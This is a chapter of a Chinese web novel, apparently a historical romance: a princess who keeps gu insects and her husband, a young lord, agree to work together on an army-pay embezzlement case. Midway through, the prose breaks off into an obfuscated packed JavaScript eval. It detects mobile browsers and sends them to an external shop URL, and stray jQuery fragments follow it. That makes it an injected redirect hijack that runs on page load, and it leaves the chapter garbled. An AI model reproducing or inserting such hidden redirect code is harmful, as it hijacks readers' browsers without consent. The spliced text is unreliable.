“我…要与沈序合作。”南夙开口宣布。
“公主有何打算?”戈辞低着头,没人注意到她嘴角扬起的弧度。
“这个我还需要思量思量。”南夙咬了咬唇,虽然她已有了主意,但还需要调查些事。
待戈辞答应后,她又从怀里掏出了前两日在这买的那支银簪,在手中打量了片刻后递与戈辞,“这缠枝纹做的确实好,既是京城独有,辞姐姐便收好吧。”
戈辞怔愣在原地,一时不知是否该伸手去接那支银簪,又反应过来南夙对她的称呼,忙行礼道:“属下怎么承得起公主这声姐姐?”
“这银簪是灵诏女子的身份象征,于灵诏女子多重要自不必我多说。它本就不应该出现在我手中,辞姐姐为向我传信将它摆在展柜前,我又如何承得起。”
南夙见她犹豫,站起身来将她扶起,直接拉过她的手将银簪放到她的手中。
“至于这称呼……”她捏了捏掌心,“我已许久没有听人唤过我公主了。辞姐姐日后也不必再如此唤我。若是愿意,便唤我一声夙儿吧。”
她言辞恳切,倒叫戈辞不知如何作答,只好答应下来。
“好啦。”南夙理了理衣襟,“我该走了,一会沈序等急了又该来寻。”
刚才低落的情绪一瞬便消失不见。不再考虑琐事,南夙又恢复了那副生机的模样。
她眸中亮着光,似是很期待的模样,提步朝楼下跑去,还不忘回头朝戈辞挥手。
不过须臾,她的身影便出现在楼下。
戈辞走至窗边,手中仍捏着那支银簪,将窗轻推开一道斜隙,恰好罩下南夙跑向人群的背影。
旁边一女婢忽然开口问道:“公主怎的突然如此开心?”
“追她的铃铛去了。”戈辞说道。
婢女却疑惑:“追铃铛?”
“你方才未看到?”戈辞扬唇轻笑,“沈序将那枚银铃掏出时这丫头眼睛都发亮了。若不是还有事要谈,怕是早就飞去了。”
“到底不过刚及笄,还是个孩子。”说完,垂下眼眸摇摇头,眼中满是宠溺,轻声呢喃:“还像小时候那般,一点没变。对这种坠着银蝶的铃铛没半点抵抗力。”
婢女仍是不懂,戈辞也不解释,将手中的银簪往发髻上一插,吩咐道:“去查查近日大理寺动向,公主既要借世子爷之势,我们也得将他们的底细查个清楚。”
雪又来了。纷纷扬扬随风撒在京城的街道、屋檐。掩去枕月楼上无人所知的黑色袍底留下的印记。
冬风吹过,吹灭廊下的灯笼,撞响檐角的脆铃。
“来来来,搬家了搬家了。”南夙摇着那枚拇指大的铃铛,语气诱哄。
案几上一排形状怪异的虫子排着队往南夙手中的铃铛挪去,偶有一两只脱离队伍,被南夙一吼又麻溜的跟上来。
南夙低着腰几乎整个人都要贴到榻上,直到最后一只蛊虫迈出步子进到铃铛里,她嗒的一下合紧铃铛。
“小家伙们搬新家还这么不积极!”银铃在半空轻晃,南夙朝着空中努了努嘴,曲起右腿将铃铛捆在脚踝上。
安雀端着杏酪羹放在案几上,见南夙已将铃铛系好,问道:“小姐已将那群不听话的虫子哄进去了?”
南夙拨弄了一下踝间的铃铛,翅翼颤动的声簌簌响起,她得意道:“当然。”
“这次比往常还快了许多。”安雀说。
南夙穿好鞋往案边走去,一面点头:“这帮小家伙在一个地方住久了就不愿意挪窝。这次倒是格外听话。”
安雀见她穿好鞋眼神还停在那铃铛上,抿唇轻笑:“小姐很是喜欢世子爷送的这只铃铛呢。”
南夙点了点头,虽然沈序这人不咋样,但不得不说挑铃铛的眼光还是很不错的。
安雀盛了碗杏酪递给她,她伸手接过,吃了两口,忽听得院内一阵嘈杂声。
她放下碗盏,推开窗棂,只见十余名小厮抬着金箱笼鱼贯而入,打头的两个正小心翼翼挪着一株三尺高的红珊瑚,日光下泛着血玉般的光泽。
“这是做什么?”她蹙眉问道。
“回世子妃,”一嬷嬷上前躬身,脸上堆着笑,“陛下赏赐,贺世子爷大婚,侯夫人让我们送到您院里。”
南夙看着这阵仗,心里正狐疑。嬷嬷又上前递了礼单过来让她清点。
她接过洒金礼单,视线掠过一行行墨字,不由得惊疑。这中原皇帝给沈序的赏赐竟如此丰厚,连这皇家专用的东西都赏来了。
“这是在做什么?”忽有一道声自月洞门传来。
南夙循声望去,见沈序信步走进院子。
嬷嬷忙躬身:“回世子爷,是陛下新赏的………”
话未说完,礼单已被抽走。
沈序垂眸看着礼单上的东西,视线越往下指尖捏着礼单的力度越大。南夙清晰地看见礼单被他捏起的褶皱。
她抬眼望去,发现沈序的脸色很是难看,素日含笑的桃花眼此刻也如凝了冰霜一般。
“抬去库房。”他将礼单摔回托盘,金纸哗啦散开,“封存。”
那嬷嬷与小厮哪料得他会如此生气,忙带着东西下去了。
南夙愣在原地不知该作何反应,余光却见安雀冲她使眼色。她回头望沈序一眼,“你进来不?”
沈序没反应,仍是那副冰冷的模样,不知在想什么。
南夙就不理他,“唰”一下将窗户关了。转头见安雀手里捏着张桑皮纸,正弯腰点起香炉,青烟袅袅升起。
窗外脚步声响起,自院外而去。
安雀将桑皮纸铺在案几上,手指间绕着根红线。她伸出食指,一只通体银白的银丝牵顺着红线游来,落到桑皮纸上,摇晃着爬起来。
“辞姐姐这是用什么东西传来的,这只小虫怎么晕乎乎的?”南夙见那蛊虫摇摇晃晃的模样,不由得开口问道。
安雀嘴角抽抽两下:“是只小猫崽。估计……”她大胆猜测,“是在脑子里被摇晕了吧。”
南夙也不说话了,伸手拨弄了一下那只银丝牵。见它甩了甩脑袋,终于开始吐出银丝:
三日后,春明巷,世子爷将率人捉拿郑平。
南夙看着那一排字,心下了然。
她想起前些日子辞姐姐所说贪饷一事,脑子里闪过沈序捏着那张礼单时的模样。怪不得沈序方才看到皇帝赏赐的东西时脸色如此难看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144227|196354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
将士们在朔北刺骨寒风,缺衣少食。沈序凯旋归来原是想查贪墨一案,皇帝却在此时赐婚,大办婚礼。赏赐之物奢靡无度,殊无体国忧边之念。这换做是谁都会心寒。
这事若是传到边疆,只怕军心动荡。
安雀将香炉熄掉,桑皮纸上的字也随之消失。
南夙右手食指曲起轻托下巴,思量了一会。她嘴角上扬,有了主意。
暮色四合,天色暗得紧。铅灰色的云层压得低低的,偶有几片碎雪飘下,簌簌有声。长街两侧的灯笼被北风吹得摇晃,昏黄的光映在积雪上,泛出冷清的微茫。
南夙绕着巷子转了几圈,终于在一巷口发现了沈序的身影。他一人站在巷口,手中捏着方尺素。不知上面写了什么。
看着只有他一人,但南夙自靠近这里开始便发现了埋伏在周围的人。
她见沈序仍低着头,拉着街头卖糖葫芦的老翁买了根糖葫芦,往嘴里塞了一颗,晃悠着就朝沈序走去。
“夫君。”
她柔声开口。
清泠泠两个字砸下来,忽听得瓦片轻响,雪坠入巷内的声音在雪夜内清晰分明,大约是檐上的人没踩稳,滑了一下。
沈序闻声抬头,见是南夙,挑了下眉,问道:“你怎么来了?”
南夙晃荡着手中的糖葫芦,悠悠说道:“我听闻了夫君遇到了些麻烦事,来看看有没有什么能帮忙的?”
她咬下一颗糖葫芦,言辞恳切:“希望夫君不要嫌弃。”
“哦?”沈序眯了眯眼睛,“夫人想如何帮我?”
他没问南夙知晓了什么事,而是直接问想如何帮他。
南夙一下子没了心情,就知道这人一直跟他演戏呢。明明什么都知道,还装。
她将手中的糖葫芦朝沈序扔去,也不再跟他试探,直言道:“合作,答不答应吧?”
沈序一把接住她扔过来的东西,捏在手里,好笑地说:“夫人这态度可不像是要与为夫合作。”
南夙也不跟他绕弯子,直接问道:“你们在这里等郑平?”
沈序看着她没有答话,但南夙本来也就是问个流程,没管他答不答话,继续说道:“别等了,他今晚不会从这里过。”
“夫人如何知道?”沈序挑眉,向前半步。
“这个嘛……”南夙挽了缕头发在手中绕着圈,“我有我的办法。你就说合不合作吧。
沈序捏着那串被南夙咬了两颗的糖葫芦,语气轻轻:“即便他今晚不来,大理寺擒他也不过是……”
“军饷贪墨,军营军心动荡。”南夙打断他,抬眸望着沈序的眼睛,“北狄虽吃了败仗,可若是让他们知晓大景边军饿着肚子守城,难保不会卷土重来。夫君说呢?”
沈序眼底划过一丝惊讶,嘴角却还扬着:“夫人调查的可真是清楚。”
南夙拢了拢衣袍,语气悠然:“应该的,知己知彼,百战不殆嘛。”
她微微偏头,眸中映着沈序的身影,“你考虑得怎么样?”
沈序盯着她,半晌,终于开口:“可以。”
他顿了顿,声音低沉,“但要让我信你,你得拿出点实力来。”